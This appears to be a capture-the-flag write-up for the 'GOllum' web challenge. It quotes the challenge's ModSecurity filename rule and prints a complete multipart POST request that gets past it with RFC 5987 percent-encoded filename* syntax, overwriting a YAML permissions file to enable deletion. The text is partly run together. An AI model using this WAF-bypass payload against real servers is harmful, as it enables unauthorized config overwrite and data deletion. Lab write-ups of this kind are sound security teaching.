![[NNS CTF 2025] Web - GOllum Writeup](/_next/image?url=https%3A%2F%2Fcdn.sanity.io%2Fimages%2Fkrdursmh%2Fproduction%2F38308897a6825ecfdeb5b82bf287109ee5c6c5dd-800x418.png&w=1200&q=75)

Goal: Delete the protected file (my_precious.gif) so a watcher drops the flag at /flag.txt.

my_precious.gif suggested the flag appears only after that file is gone.upload: false
delete: false
users:
- token: "in_case_i_ever_need_to_upload_123"
upload: true
delete: falsenginx.conf the ModSecurity rule is literally:SecRule REQUEST_METHOD "@streq POST" "id:1010,phase:2,deny,status:403,log,chain"
SecRule REQUEST_BODY|ARGS|MULTIPART_FILENAME "(?i)(?:\.ghs\.yml|my_precious\.gif)".ghs.yml that enables delete: true, but used the RFC 5987/6266 filename*=UTF-8''%2Eghs%2Eyml trick so the literal .ghs.yml string never appeared in the POST body that the WAF inspects. my_precious.gif using the token and fetched the flag.POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="token"
in_case_i_ever_need_to_upload_123
--BOUND
Content-Disposition: form-data; name="file"; filename*=UTF-8''%2Eghs%2Eyml
Content-Type: text/plain
upload: true
delete: true
users:
- token: "in_case_i_ever_need_to_upload_123"
upload: true
delete: true
--BOUND--.ghs.yml), tokens, and enabling delete/upload. GitHubfilename* and how HTTP uses it. IETF RFC Editor filename*. RFC Editor